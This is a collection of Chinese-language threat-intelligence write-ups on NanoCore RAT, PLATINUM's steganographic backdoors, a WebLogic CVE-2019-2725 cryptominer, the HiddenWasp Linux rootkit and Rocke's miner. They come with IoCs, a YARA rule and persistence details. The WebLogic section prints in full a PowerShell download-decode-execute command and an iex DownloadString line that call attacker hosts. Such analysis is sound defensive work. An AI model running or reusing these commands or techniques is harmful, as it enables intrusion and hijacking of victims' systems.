<?xml version=”1.0″ encoding=”UTF-16″?><Task version=”1.2″ xmlns=”http://schemas.microsoft.com/windows/2004/02/mit/task”>  <RegistrationInfo />  <Triggers />  <Principals>    <Principal id=”Author”>      <LogonType>InteractiveToken</LogonType>      <RunLevel>HighestAvailable</RunLevel>    </Principal>  </Principals>  <Settings>    <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>    <AllowHardTerminate>true</AllowHardTerminate>    <StartWhenAvailable>false</StartWhenAvailable>    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>    <IdleSettings>      <StopOnIdleEnd>false</StopOnIdleEnd>      <RestartOnIdle>false</RestartOnIdle>    </IdleSettings>    <AllowStartOnDemand>true</AllowStartOnDemand>    <Enabled>true</Enabled>    <Hidden>false</Hidden>    <RunOnlyIfIdle>false</RunOnlyIfIdle>    <WakeToRun>false</WakeToRun>    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>    <Priority>4</Priority>  </Settings>  <Actions Context=”Author”>    <Exec>      <Command>”C:\Users\admin\Desktop\trasferimento.exe”</Command>      <Arguments>$(Arg0)</Arguments>    </Exec>  </Actions></Task>

这两项计划任务的区别在于,一个引用“trasferimento.exe”进程,另一个引用“non.exe”进程。 它似乎是一种生存机制,在这种机制中,这两个进程都在起作用,并保持感染的存活。

8.png

图8:设置任务计划程序的详细信息

这两个进程会连接两个不同的C2。在分析过程中,其中一个(185.244.31.[50)已被关闭,另一个(79.134.225[.41) 还在继续工作。

9.png

图9:与两个不同C2间的通信

NanoCore客户端

t2.jpg

表2:“non.exe”NanoCore RAT的信息

现在我们开始分析“non.exe”文件,即Nanocore RAT客户端,该文件由.NET语言编译。

10.png

图10:有关“non.exe”NanoCore RAT和相关编译语言的其他信息

解压后的代码非常模糊,它使用了一些自定义例程进行加密。

11.png

图11:NanoCore客户端版本

经过几个步骤的调试之后,payload的真实性质就显露出来了,提取的当前版本为1.2.2.0,如红色方框所示。继续调试后我们发现了一个用于解密RAT静态字符串和恶意软件配置的循环例程:

12.png图12:提取配置文件的解密例程

与其他犯罪软件一样,该软件也利用加密配置,只在恶意软件执行期间解密。有趣的是,提取的配置不包括持久性,持久性由外部包装器处理的计划任务所保证。

13.png

图13:RAT客户端的配置信息

从上图中可以看出,该客户端具有一些有趣的启用功能,例如绕过UAC控制的功能,或者阻止系统进入休眠状态。此外,主C2和备用C2是相同的,并且通过其他“trasferimento.exe”RAT模式进程保证备份C2的解决方案。

结论

如今,许多网络罪犯不会努力从头开始编写恶意软件,因为已经有许多公共工具适合这种需求。从攻击者的角度来看,使用这些工具的问题在于它们迟早会被反病毒引擎识别。

因此,攻击者采用其他技术,如包装器和混淆器(很多时候也是公开可用的),或者编写定制的装载器来隐藏他们的间谍工具,让它们长时间运行在受害机器中,静静地观察目标,等待合适的时间来实施他们的犯罪计划。

IoC

C2:

185.244.31[.50:1540

79.134.225[.41:2031

目标:

完全控制受害者机器

持久性:

schtasks.exe” /create /f /tn “IMAP Subsystem” /xml “C:\Users\admin\AppData\Local\Temp\tmpC5A7.tmp” (trasferimento.exe)
schtasks.exe” /create /f /tn “IMAP Subsystem” /xml “C:\Users\admin\AppData\Local\Temp\tmpCB59.tmp” (non.exe)

Hash:

8274313b5b1e941a67b54e9f311094f2f56a3afe97820ad03560d9885a60b71b

52d73eee176a2ff30af7e386809b94ef1c4918f131f8de1e2b66915ab8cc3790

Yara Rule

import "pe"
rule Delphi_Loader_NanoCoreRAT {
meta:
     description = "Yara Rule for Delphi Loader and embedded NanoCore RAT"
     author = "Cybaze - Yoroi ZLab"
     last_updated = "2019-06-12"
     tlp = "white"
     category = "informational"
strings:
$s1 = "IE(AL(\"%s\",4),\"AL(\\\"%0:s\\\",3)\",\"JK(\\\"%1:s\\\",\\\"%0:s\\\")\")"
$a1 = "#=qP05CRmbt2pJg10eRU50wu1vx$mfteEn$pCn9SEbehP8="
     $a2 = "NanoCore"
     $a3 = {69 73 34 31 74 49 58 4D}
     $b1 = "<*t\"<0r=<9w9i"
 
condition:
pe.number_of_resources == 73 and $s1 or 1 of ($a*) and $b1
}

2018年6月,卡巴斯基实验室曾在南亚和东南亚的一些国家发现过一组不同寻常的恶意软件样本,以外交、政府和军事实体为攻击目标。此次行动被称为EasternRoppels,最早可追溯到2012年,其幕后推手可能与臭名昭著的PLATINUM APT组织有关。恶意软件的特点是多阶段执行,以及用了一种前所未见的隐写技术来隐藏通信过程。

在感染的第一个阶段,攻击者通过WMI订阅功能来运行初始PowerShell下载器,以下载另一个小型的PowerShell后门。我们在收集了许多初始WMI PowerShell脚本后发现,它们的硬编码C2的IP地址、加密密钥、用于加密(以及用于初始加载器)的盐、每天活跃的时间往往都不甚相同。C2地址位于免费托管服务上,攻击者使用了大量Dropbox帐户来存储payload和泄露数据。PowerShell后门的目的是执行系统的初始指纹识别,支持的命令很有限:下载/上传文件,以及运行PowerShell脚本。

当时,我们正在调查另一个威胁,有一定的依据认为它是上述行动的第二阶段。该阶段有一个实现为DLL并作为WinSock NSP (Nameservice Provider)工作的后门,能在机器重启后驻留。该后门与上述的PowerShell后门有几个特征是相通的,例如具有硬编码的活动时间,以及使用免费域作为C2地址等。前者还有一些非常特殊的功能,比如它可以使用文本隐写术隐藏与C2服务器的所有通信。

经过深入分析,我们意识到这两种威胁是相关的,此外,两种攻击使用了相同的域来存储泄露数据。同时我们发现,有一些受害者会被两种类型的恶意软件感染。值得一提的是,在第二阶段,所有可执行文件都受到runtime加密器的保护,在打开后出现了另一个以前未发现的后门,而这个后门已知与PLATINUM有关。

本文仅将描述之前未被发现的两种后门。

隐写术后门

核心二进制后门装有一个dropper,当dropper运行时,会解密嵌入其“.arch”部分的文件:

1.png

接下来,它为后门操作创建目录,并将恶意软件相关文件保存在这些目录中,使用的路径通常是合法软件使用的。

接着,恶意软件会植入两个文件:后门本身及其配置文件。

在此之后,dropper运行后门,安装它以启用持久性机制并自行删除。配置文件都是.cfg或.dat的扩展名,使用AES-256 CBC加密并编码,并包含以下选项:

2.png

· pr  – 即“轮询重试”(Poll Retries),并指定恶意软件向C&C服务器发送执行新命令请求的时间间隔(以分钟为单位);

· ht  – 未使用;

· sl  – 指定恶意软件开始运行的日期和时间。当日期到来时,恶意软件会清除此选项。

· opt  – 代表“办公时间”,指定了恶意软件的活动的小时和分钟数;

· die  – 代表“存活日期”,即恶意软件在计算机内的存活天数;

· “p”部分列出了恶意软件C&C地址;

· “t”部分列出了用于确保互联网连接可用的合法URL。

持久性

核心后门实现为一个动态链接库(DLL),包含一个名为“NSPStartup”的函数。后门植入后,安装程序在WSCInstallNameSpace API函数的帮助下将后门注册为winsock2的命名空间提供程序,并通过调用WSCEnableNSProvider运行。

因此,在系统启动并初始化“svchost -k netsvcs”进程期间,已注册的命名空间提供程序将被加载到进程的地址空间中,并调用函数“NSPStartup”。

3.jpg

C&C交互

启动并运行后,后门会将当前时间与“存活日期”、激活日期和“办公时间”值进行比较,并在“凭据存储”和“受保护存储”中查找有效的代理凭据。

当满足所有规则时,后门连接到恶意软件服务器并下载HTML页面。

从表面上看,HTML显示C&C服务器已关闭:

4.png

实际上是用到了隐写技术。页面包含嵌入的加密命令,加密的密钥也嵌入在页面中。嵌入数据使用两种隐写技术进行编码,并放置在<——1234567890>标记中(见下面)。

5.png

在第31行,属性“align”,“bgcolor”,“colspan”和“rowspan”按字母顺序列出,而在第32行,相同的属性却是以不同顺序列出的。第一种隐写技术基于HTML不关心标签属性顺序的原则,我们可以通过遍历属性来编码消息。上例中的第31行包含四个标签,四个标签中的排列数为4!= 24,因此该行编码有log2(24)= 4位信息。后门会逐行解码并收集数据的加密密钥,该密钥也位于编码状态的HTML标签之中,但使用的是第二种隐写技术

6.png

上图显示,数据被编码为以制表符分隔的空间组。每个组包含0到7个空格,空格的数量表示后面的3位数据。例如,第944行上的第一个组包含6个空格,因此它将被解码为610 = 1102

接着使用解码后的AES-256 CBC密钥对解码后的数据进行解密。

7.jpg

最后结果是一个要执行的命令列表,保护方式与后门配置文件相同:

8.png

从HTML页面提取的原始命令数据

9.png

解密后从HTML页面提取的原始命令的解释 

命令

后门支持上传、下载和执行文件,它可以处理进程列表和目录列表的请求,升级和卸载自身以及修改其配置文件。每个命令都有自己的参数,例如它请求的C&C服务器名,或者是否需要在上传时分割文件。

配置管理员

在进一步调查的过程中,我们发现另一个工具原来是一个配置管理器,也是一个可执行文件,其目的是为后门创建配置和命令文件。该实用程序可以配置150多个选项。

例如,下面是执行showcfg命令的结果。

10.png

它支持的第二个命令是updatecfg,其作用是将操作人员指定的值放入配置文件中。

此外,配置管理器还支持上传、下载、执行、搜索、UpdateConfig、AddKeyword、ChangeKeywordFile、ChangeKey、升级和卸载命令。执行上述命令时,它会创建一个命令文件,其保护方式与配置文件相同,并将其存储在“CommandDir”目录中(路径在配置选项11中指定)。如“隐写后门”一节所述,此后门不处理命令文件,也不支持ChangeKeywordFile和ChangeKey等命令,因此我们认为还有另一个后门,它与我们找到的配置管理器配对。虽然看起来这样的实用程序应该在攻击者端运行,但我们在一个受害者中找到了相应的后门,并称之为P2P后门。

P2P后门

这个后门与前一个后门有许多相同的功能。例如,许多命令有相似的名称,两个后门的配置文件都有相同名称的选项,并且以相同的方式受到保护,后门文件的路径与合法文件相似。不过它们之间也有显著的差异:新的后门能使用配置中的更多选项,支持更多命令,与其他受感染的受害者交互并将他们连接到网络中(详细信息请参阅“命令”一节),并以不同的方式与C&C服务器一起工作。此外,这个后门还能使用日志记录——我们在某受害者的电脑上发现了一个可以追溯到2012年的日志文件。

C&C交互

这个后门具有嗅探网络流量的能力,运行后会启动一个嗅探器,检测每个网络接口是否有某一类数据包,该数据包结构特殊,用于发送到受害者配置中的ProbePort。当嗅探器找到类似的数据包时,会将其解释为建立连接的请求,并将TransferPort(在配置中指定)设置为侦听模式,请求者连接到受害者的TransferPort,双方执行额外的检查,交换加密密钥。然后请求者向受害者发送命令,受害者以交互方式处理这些命令。这种方法允许后门维持侦听模式而不将任何套接字保持在侦听模式——它只在知道某人正在尝试连接时才创建侦听套接字。

命令

此后门支持与隐写术后门相同的命令,并能实现另外一个命令——后门利用Windows索引服务,可以在文件中查找攻击者提供的关键字。此搜索行为既可以由攻击者请求,也可以计划发起,前提是计划搜索的关键字存储在专用文件中。

所有命令都通过命令文件提供给后门。 命令文件的保护方式与配置相同(见下文)。

11.png

它由命令id(id),命令日期(dt),命令名(t)和参数(cmd)组成。

恶意软件还有将受感染的受害者组合到P2P网络中的功能。例如,当两个受感染的受害者共享同一个本地网络,但只有其中一个可以访问互联网时,攻击者可以通过可访问的受害者向不可访问的受害者发送命令文件,控制其他主机的命令在可访问受害者的命令文件中,受感染主机列表用h1、h2、h3等选项表示,而命令文件传输到目标主机的顺序则用p1、p2来表达。

例如,如果p1选项为' 2->3->1 ',而p2选项为' 2->3->4 ',则命令文件将通过主机2和3传递给索引为1和4的主机。每个主机的描述如下:% host IP%:% host ProbePort%:% host TransferPort%。

结论

PLATINUM组织仍在努力改进他们的恶意软件,通过新技术使其踪迹变得更隐蔽。几年前我们就曾预测过,会有越来越多的APT组织和恶意软件开发者将隐写术融入到攻击手段中,而近日的发现也似乎证明了我们的观点,在这场攻击行动中,攻击者使用了两种隐写技术,而另一个有趣的细节是将实用程序作为一个庞大的集合来实现,这也让我们想起,当前这种基于框架的体系架构正在威胁团伙中变得越来越受欢迎。最后,基于攻击者使用的自定义加密,我们已经能够将此归因于臭名昭着的PLATINUM组织,这也意味着该组织仍处于活跃状态。

IoC

隐写术后门安装程序:

· 26a83effbe14b63683f0c3e0a3f657a9

· 4b4c3b57416c03ca7f57ff7241797456

· 58b10ac25df04a318a19260110d43894

之前的隐写后门启动器:

· d95d939337d789046bbda2083f88a4a0

· b22499568d51759cf13bf8c05322dba2

隐写术后门:

· 5591704fd870919930e8ae1bd0447706

· 9179a84643bd6d1c1b8e6fe0d2330dab

· c7fda2be17735eeaeb6c56d30fc86215

· d1936dc97566625b2bfcab3103c048cb

· d1a5801abb9f0dc0a44f19b2208e2b9a

P2P后门:

· 0668df90c701cd75db2aa43a0481718d

· e764a1ff12e68badb6d54f16886a128f

配置管理器:

· 8dfabe7db613bcfc6d9afef4941cd769

· 37c76973a55134925c733f4f50108555

CVE-2019-2725是Oracle Weblogic的一个反序列化远程代码执行漏洞,于2019年4月披露,就在公告发布后不久,SANS ISC InfoSec论坛上就出现了研究报告称该漏洞被某些犯罪分子利用以安装加密货币挖矿机。趋势科技对报告反馈的活动进行了验证,同时发现一个有趣的地方——恶意软件将恶意代码隐藏在证书文件中作为混淆策略。

感染链

1.png

图1.感染链

安装程序

在目标计算机中,恶意软件将利用CVE-2019-2725执行以下命令:

“powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer (New-Object Net.WebClient).DownloadString(‘hxxp://45.32.28.187:1012/cert.cer’); certutil -decode %APPDATA%cert.cer %APPDATA%update.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%update.ps1 & start /b cmd /c del %APPDATA%cert.cer”

该命令的目的是执行一系列例程。首先,PowerShell(PS)用于从命令和控制(C&C)服务器下载证书文件,并使用文件名cert.cer将其保存在%APPDATA%下(由趋势科技检测为Coinminer.Win32.MALXMR。TIAOODCJ.component)。

然后,它使用组件CertUtil(用于管理Windows中的证书)来解码文件,并将解码的文件保存为%APPDATA%\ update.ps1。

之后,在使用cmd删除下载的cert.cer文件之前,使用PS执行新创建的update.ps1(Trojan.PS1.MALXMR.MPA)文件。

当我们下载证书文件时,我们注意到它看起来像普通的隐私增强邮件(PEM)格式证书。

2.png

图2.下载的证书文件

但是,在解码base64内容时,我们发现,它实际上以以下PS命令的形式出现,而不是常用的X.509 TLS文件格式:

iex(New-ObjectNet.WebClient).DownloadString(‘hxxp://139.180.199.167:1012/update[.]ps1’)

证书文件中的一个特性引起了我们的关注,即要求在显示PS命令之前对其进行两次解码,这是不常见的,因为漏洞利用的命令仅使用CertUtil一次。还有一种可能性是,我们下载的证书文件可能与远程命令实际要下载的文件不同,因为威胁行为者会不断更新。

加密货币挖矿机payload

证书文件中的PS命令会下载并执行内存中的另一个PS脚本,而此脚本将下载并执行以下文件:

image.png

然后用新的update.ps1替换包含已解码证书文件的update.ps1文件,并创建一个计划任务,每30分钟执行一次新的update.ps1。

证书文件混淆

使用证书文件来隐藏恶意软件的想法并不是一个新概念:去年下半年,Sophos就演示过如何将一个嵌入宏的Excel文件放在证书文件中。当然,现在来看这种手法并不常见。通过将证书文件混淆,恶意软件很有可能会逃避检测,因为下载的文件是一种证书文件格式,这种格式被视为正常格式——尤其是在建立HTTPS连接时。

然而奇怪的是,攻击者在从已解码的证书文件执行PS命令时,会下载其他恶意文件,而不是通过前面提到的证书文件格式进行隐藏。这可能表明攻击者目前正在测试混淆方法有效性,之后才会扩展到恶意软件变体中去。

Oracle已经发布了一个针对CVE-2019-2725的更新。因此,强烈建议使用WebLogic Server的用户将其软件更新到最新版本,以防止任何利用该漏洞的攻击。

IoC

3.jpg

URLs

· hxxp://139[.]180[.]199[.]167:1012/clean[.]bat

· hxxp://139[.]180[.]199[.]167:1012/config[.]json

· hxxp://139[.]180[.]199[.]167:1012/networkservice[.]exe

· hxxp://139[.]180[.]199[.]167:1012/sysguard[.]exe

· hxxp://139[.]180[.]199[.]167:1012/sysupdate[.]exe

· hxxp://139[.]180[.]199[.]167:1012/update[.]ps1

· hxxp://45.32.28.187:1012

· hxxp://45.32.28.187:1012/cert.cer

· hxxps://pixeldrain[.]com/api/file/bg2Fh-d_

· hxxps://pixeldrain[.]com/api/file/cGsOoTyb

· hxxps://pixeldrain[.]com/api/file/cGsOoTyb/wujnEh-n1

· hxxps://pixeldrain[.]com/api/file/DF1zsieq1

· hxxps://pixeldrain[.]com/api/file/TyodGuTm

概述

Intezer安全机构近日发现了一种针对Linux系统的新型恶意软件,并将其命名为“HiddenWasp”。与常见的Linux恶意软件不同,HiddenWasp并不专注于密码挖掘或DDoS攻击,而是一个纯粹用于目标远程控制的木马,创作者在其中融入了如Mirai、Azazel rootkit等大量开源恶意软件的代码。调查表明,该恶意软件极有可能被用于已经在攻击者控制之下的二次感染。当前,恶意软件仍然活跃,且在所有主要的反病毒系统中检测率为零。此外,该恶意软件与某些来自中国的恶意软件家族也有相似之处,但对其归因的可信度较低。

我们对预防和应对这一威胁提出了详细的建议。

1. 介绍

尽管Linux生态系统充斥着IoT DDoS僵尸网络和密码挖掘恶意软件的威胁,但在野发现木马或后门的现象却并不常见。

与Windows恶意软件不同,Linux恶意软件的作者们似乎没有投入太多精力编写他们的植入程序,毕竟在开放源码的生态系统中,大多公开可用代码复制和修改后就能拿来使用。

此外,Linux的反病毒解决方案往往不像在其他平台上那么灵活,因此针对Linux系统的威胁行为者并不太关心花哨的逃避技术,即使重用大量代码,也可以相对容易地入侵。

数量少并不意味着不存在,Linux平台确实存在具有复杂逃避技术的恶意软件。公开可用的恶意软件的比例也很高,攻击者可以很容易地将其与强大的逃避技术相结合。这一现状对安全界来说是令人担忧的,而且当前许多植入程序的检测率非常低,使得这些威胁难以检测和响应。

我们之前就发现过许多未被检测到的Linux恶意软件,它们大多是通过rootkit植入木马逃避检测的。

在本文中,我们将对此新型恶意软件——HiddenWasp的每个不同组件进行技术分析,并重点介绍它与其它一些开源恶意软件的代码重叠的地方。

以下截图来自最新发现的恶意软件样本:

 1.png

2. 技术分析

样本的大多数代码是惟一的:

2.png

3.png

与Chronicle最近报告的Winnti Linux变体类似,此恶意软件的基础结构由用户模式的rootkit、木马和初始部署脚本组成。下面我们来介绍这三个组成部分,分析它们间的相互作用。

2.1初始部署脚本:

VirusTotal中显示,样本中似乎有一个bash脚本以及一个木马植入程序的二进制文件。

4.png

这些文件使用路径中包含了一家名为“神州网云信息技术有限公司”的中国公司。

此外,植入的恶意软件似乎托管在香港一家名为ThinkDream的公司的服务器上。

5.png

bash脚本旨在将恶意软件部署到受感染系统中:

6.png

通过此bash脚本可下载没有显示在VirusTotal中的其他部件。该脚本将首先定义一组将在整个脚本中使用的变量。

7.png

在这些变量中,有个名为“sftp”的用户凭证和其硬编码密码。该用户似乎是为了保持初始阶段的持久性而创建的:

8.png

此外,在创建系统的用户帐户后,如果系统已被入侵,脚本将清理系统的旧版本:

9.png

然后,脚本将根据受损系统的体系结构从服务器下载一个tar压缩文件。这个tarball将包含恶意软件的所有组件,包括rootkit、木马和初始部署脚本:

10.png

安装恶意软件组件后,脚本将继续执行木马:

11.png

主木马二进制文件被执行后,rootkit被添加到LD_PRELOAD路径中,并设置了另外一系列环境变量,如“I_AM_HIDDEN”。最后,脚本会通过将木马二进制文件添加到/etc/rc.local来为其安装引入持久性。

在这个脚本中,我们能够观察到主要的植入物是以tarball的形式下载的。如前所述,每个tarball包含主木马、rootkit和相应的x86、x86_64部署脚本。

12.png

部署脚本的也能看出恶意软件实现的其他特性,比如引入的一个新的环境变量“HIDE_THIS_SHELL”:

13.png

跟我们在一个名为Azazel的开源rootkit中发现了的环境变量有重合。

14.png

看来攻击者改变了Azazel的默认环境变量,把HIDE_THIS_SHELL改成了I_AM_HIDDEN。之所以这么判断是因为,环境变量HIDE_THIS_SHELL并未在恶意软件的其余组件中使用,而且它似乎是Azazel原始代码的残余。

这个恶意软件基础设施中所涉及的rootkit的大多数代码与Azazel明显不一致。而Winnti Linux变体也重用过这个开源项目的代码。

2.2Rootkit:

此rootkit是一个基于用户空间的rootkit,通过LD_PRELOAD linux机制强制执行。

它以ET_DYN剥离ELF二进制文件的形式交付。

这个共享对象有一个DT_INIT动态条目,条目持有的值是一个地址,一旦共享对象被特定进程加载,这个地址将被执行:

15.png

在这个函数中,我们可以看到控制流最终落入一个负责解析动态导入的函数中,该函数稍后将挂钩这些动态导入,并解码rootkit操作所需的一系列字符串。

16.png

每个字符串都分配了一个新的动态缓冲区,通过将字符串复制到缓冲区中进行解码。

与Azazel rootkit相比,动态导入解析的实现似乎略有不同。

当我们编写脚本来模拟实现字符串解码功能的密码时,我们观察到以下算法:

17.png

而Mirai过去使用过类似于的算法,这意味着这个rootkit的作者可能已经移植和修改了Mirai的一些代码。

18.png

在将rootkit主对象加载到给定进程的地址空间并解密其字符串之后,它将导出要勾住的函数,如下所示:

19.png

对于每个导出,rootkit都会相应地挂钩并实现特定的操作。在调用原始的钩子函数之前,会检查是否设置了环境变量“I_AM_HIDDEN”:

20.png

我们可以在下面的截图中看到rootkit如何挂钩函数fopen的例子:

21.png

我们注意到,在检查是否设置了' I_AM_HIDDEN '环境变量之后,会运行一个函数来隐藏所有rootkit 和木马的构件。此外,fopen函数还将专门检查要打开的文件是否是'/ proc / net / tcp',如果是,它将试图隐藏恶意软件与cnc的连接,方法是扫描每个条目,寻找用于与cnc通信的目标端口或源端口,在本例中为61061,这也是Azazel rootkit中的默认端口。

22.png

如前所述,rootkit主要实现隐藏部件和tcp连接的功能。rootkit的整体功能如下图所示:

23.png

2.3.木马

该木马以与stdlibc++相连的静态链接ELF二进制文件的形式出现。我们注意到,该木马的代码与ChinaZ的Elknot植入程序有一定相似度,其中一个静态链接库中有一些常见的MD5实现:

24.png

此外,我们还看到它与其它已知的ChinaZ恶意软件共享字符串的比率很高,这说明HiddenWasp背后的攻击者可能修改了一些Elknot的MD5实现,这些实现可能是在中国黑客论坛上发现的:

25.png

分析main时,我们注意到木马采取的第一个动作是检索其配置:

26.png

恶意软件配置附加在文件的末尾,结构如下:

27.png

恶意软件将从磁盘加载自身并解析这个二进制块,然后检索静态加密配置。

28.png

一旦成功检索到加密配置,配置将被解码并解析为json。

对配置进行编码和解码的密码如下:

29.png

这个密码似乎是用一个类似RC4的算法,通过计算好的PRGA生成密钥流。需要注意的是,相同的密码稍后将在木马客户机及其CNCs之间的网络通信协议中使用。

配置解码后,将检索到以下json:

30.png

此外,如果文件作为根文件运行,恶意软件将更改动态链接器的LD_PRELOAD路径的默认位置,这个位置通常位于/etc/ld.so,但是始终可以修改动态链接器二进制文件以更改此路径:

31.png

Patch_ld函数将扫描所有/lib路径。扫描路径如下:

32.png

恶意软件将在这些路径中查找动态链接器的二进制文件。动态链接器文件名通常以ld- <版本号>为前缀。

33.png

找到动态链接器后,恶意软件将找到/etc/ld.so.preload字符串在二进制文件中的偏移量,并将使用新预加载路径/sbin/.ifup-local重写其路径。

34.png

此步骤是通过xxd十六进制编辑器实用程序执行以下格式化字符串实现的,之前已经预先对rootkit的路径进行十六进制编码:

35.png

一旦从动态链接器更改了默认的LD_PRELOAD路径,它将部署一个线程来强制rootkit使用新的LD_PRELOAD路径进行安装。此外,木马将通过环境变量'I_AM_HIDDEN'与rootkit进行通信,以序列化rootkit的木马会话,以便在任何其他会话上应用逃避机制。

36.png

在看到rootkit的功能之后,我们可以理解为rootkit和木马一起工作,以帮助彼此在系统中保持持久性——rootkit隐藏木马,而木马让rootkit保持可操作性。下图说明了这种关系:

37.png

木马接下来的执行流程中,也会通过一些组件来逃避检测:

38.png

这些组件如下:

39.png

对其做OSINT后显示,它们属于一个用于Linux的中文开源rootkit,名为Adore-ng,托管在GitHub中:

40.png

这些组件表明,目标Linux系统可能已经被这个开源rootkit的变体所破坏。需要注意的是,与此恶意软件相关的分析构件都没有安装上图的这些路径中。

这一发现可能意味着,该恶意软件旨在入侵的目标系统可能是已遭过入侵的目标,而之前入侵的即有可能是同一组织也有可能是第三方,他们的最终目标应该是相同的。

此外,该木马通过TCP与简单的网络协议进行通信。 我们可以看到,当与主服务器或备用服务器建立连接时,会涉及到一个握手机制,以便标识客户机。

41.png

在此功能的帮助下,我们能够了解所采用的通信协议的结构,可以通过观察服务器和客户端初始握手的pcap来查看:

42.png

在分析这个协议时,我们注意到保留字段和方法字段总是常量,它们分别为0和1。密码表偏移量表示加密payload编码时使用的硬编码密钥流中的偏移量。以下是该字段引用的固定密钥流:

43.png

在解密了流量并分析了木马的一些网络相关功能后,我们注意到通信协议也是用json格式实现的,下图是CNC和木马之间解密的握手包:

44.png

握手完成后,木马将继续处理CNC请求:

45.png

根据给定的请求,恶意软件将相应地执行不同的操作。请求处理执行的木马功能概述如下所示:

46.png

3.预防和应对

预防:阻止与C2 IP地址(详见IoC部分)连接。

应对:我们提供了一个旨在针对内存中运行构件的YARA规则,能够检测这些植入程序。

此外,为了检查您的系统是否被感染,您可以搜索“ld.so”文件——如果所有文件都不包含字符串'/etc/ld.so.preload',说明您的系统可能会受到危害。这是由于木马将尝试修补ld.so的实例,以便从任意位置强制执行LD_PRELOAD机制。

4. 总结

我们分析了HiddenWasp的每个组件,解释了rootkit和木马如何并行工作,以在系统中实现持久性的机制,以及HiddenWasp的不同组件与各种开源恶意软件的关联。

Linux恶意软件可能会给安全圈子带来我们在其他平台上还没有看到过的新挑战。这种恶意软件能够成功逃避检测的事实应该给安全行业敲响了警钟,要求他们投入更大的努力或资源来检测这些威胁。

随着时间的推移,Linux恶意软件将继续变得更加复杂,目前即使是常见的威胁也没有很高的检出率,而更复杂的威胁的可见性甚至更低。

IOCs

103.206.123[.]13

103.206.122[.]245

http://103.206.123[.]13:8080/system.tar.gz

http://103.206.123[.]13:8080/configUpdate.tar.gz

http://103.206.123[.]13:8080/configUpdate-32.tar.gz

e9e2e84ed423bfc8e82eb434cede5c9568ab44e7af410a85e5d5eb24b1e622e3

f321685342fa373c33eb9479176a086a1c56c90a1826a0aef3450809ffc01e5d

d66bbbccd19587e67632585d0ac944e34e4d5fa2b9f3bb3f900f517c7bbf518b

0fe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745b1199c8

2ea291aeb0905c31716fe5e39ff111724a3c461e3029830d2bfa77c1b3656fc0

d596acc70426a16760a2b2cc78ca2cc65c5a23bb79316627c0b2e16489bf86c0

609bbf4ccc2cb0fcbe0d5891eea7d97a05a0b29431c468bf3badd83fc4414578

8e3b92e49447a67ed32b3afadbc24c51975ff22acbd0cf8090b078c0a4a7b53d

f38ab11c28e944536e00ca14954df5f4d08c1222811fef49baded5009bbbc9a2

8914fd1cfade5059e626be90f18972ec963bbed75101c7fbf4a88a6da2bc671b

Rocke是一个专门从事加密货币挖掘的威胁组织,FortiGuard Labs在对Rocke持续追踪的过程中注意到,在过去的一个月里,其恶意软件又拓展了不少新功能,例如利用运行Jenkins(一种软件开发自动化服务器)的系统来增加感染机会,以及增加恶意软件的攻击阶段、在多个执行组件中添加冗余成分,既能使恶意软件变得更加动态灵活,还能帮助Rocke最大化牟利。

本文将对Rocke恶意软件的通用行为及新功能做介绍。

1.png

图1:基本执行流程

阶段一和阶段二

恶意软件的bash脚本组件托管在Pastebin中,其配置文件名称为“SYSTEMTEN”,与“Rocke”威胁组织先前使用的名称非常相似。值得注意的是,大多数情况下会有多个指向同一个脚本的链接。据我们推测,这个看似冗余的步骤用于保障操作连续性,以防由于某种原因某些链接被删除。脚本的链接似乎每隔几天就会发生变化,因此手动监控可能会非常繁琐。类似的冗余也可以在此恶意软件的其他部分中看到。

2.png

图2:承载Pastebin文件的账户名

简而言之,感染始于第一阶段的脚本执行,该脚本可以通过各种方式安装到系统中,包括手动入侵、横向移动、互联网漏洞扫描、强制登录和漏洞利用等。

第一阶段脚本的唯一目标就是通过wget或curl命令下载第二阶段脚本并执行。

3.png

图3:第一阶段脚本

第二阶段执行以下操作:

1.添加一个CRON作业,定期下载并执行第一阶段脚本。在本例中,* * * * *表示脚本将每分钟执行一次。

4.png

图4:为第一阶段添加CRON作业

2. 终止其他挖矿软件相关进程,最大限度地利用系统的处理能力。

5.png

图5:终止现有挖矿软件

3. 下载适用于系统架构(x32 / x64)的主要payload二进制文件。攻击者为每种系统分配了两个不同的下载链接,以防失效。值得注意的是,通常链接中有一个包含了时间戳,能揭示其上传或编译时间。

6.png

图6:下载主payload

在较老的版本中,下载链接都直接指向二进制payload,直到几天前,我们发现Rocke在实际执行payload之前增加了一个新的阶段——加载器阶段,链接指向嵌入base64编码的ELF二进制文件的大型python脚本,解压后再执行二进制payload。

7.png

图7:主payload的加载程序

4. 执行第一阶段脚本并访问SSH known_hosts文件来横向传播恶意软件,该文件包含受害者系统先前连接到的SSH主机,通过二次测试以检验公钥验证是否可行。

8.png

图8:通过SSH传播known_hosts

主Payload

主二进制文件充当恶意软件在系统中的操作的管理器。它确保组件定期更新、持久性和隐蔽性,最后执行加密货币挖矿机。

压缩

主payload用Go语言(GoLang)编写,一开始是用简单的UPX加壳,但今年3月起,Rocke将加壳的二进制文件部分名字更改为“LSD!”就能切换成“自定义的”UPX压缩文件。这是一个简单的技巧,但它可以非常有效地避免基于文件的检测,因为在大多数情况下,检测引擎只能解压正确头文件的UPX压缩文件。

9.png

图9:恶意软件切换到自定义UPX

持久性和隐身机制

此恶意软件使用多个持久性和隐藏机制来确保其在受感染系统中的挖掘操作。

首先,它添加了服务netdns以确保二进制payload——/ usr / sbin / kerberods在启动时执行。

10.png

图10:负责恶意软件服务的Init脚本

其次,它还添加了几个CRON作业,以定期下载和执行第一阶段脚本,使恶意软件组件能得到更新。在旧版本中,这些指向Pastebin的链接都是简单直接地硬编码到二进制文件中,然而,在最近的变体中,Pastebin的ID变得更加动态,另一个阶段也以一个新Pastebin链接的形式开启的,链接中包含了ID。但是,如果此链接无法访问,则仍可使用硬编码的ID来供恶意软件使用。

11.png

图11:添加了指向第一阶段脚本的CRON作业

恶意软件为了隐藏其挖矿操作,会为动态库预加载过程安装一个挂钩库(usr/local/lib/<filename>.so)。通过将库的路径添加到ld.preload.so来实现,库将加载到所有新进程中去。

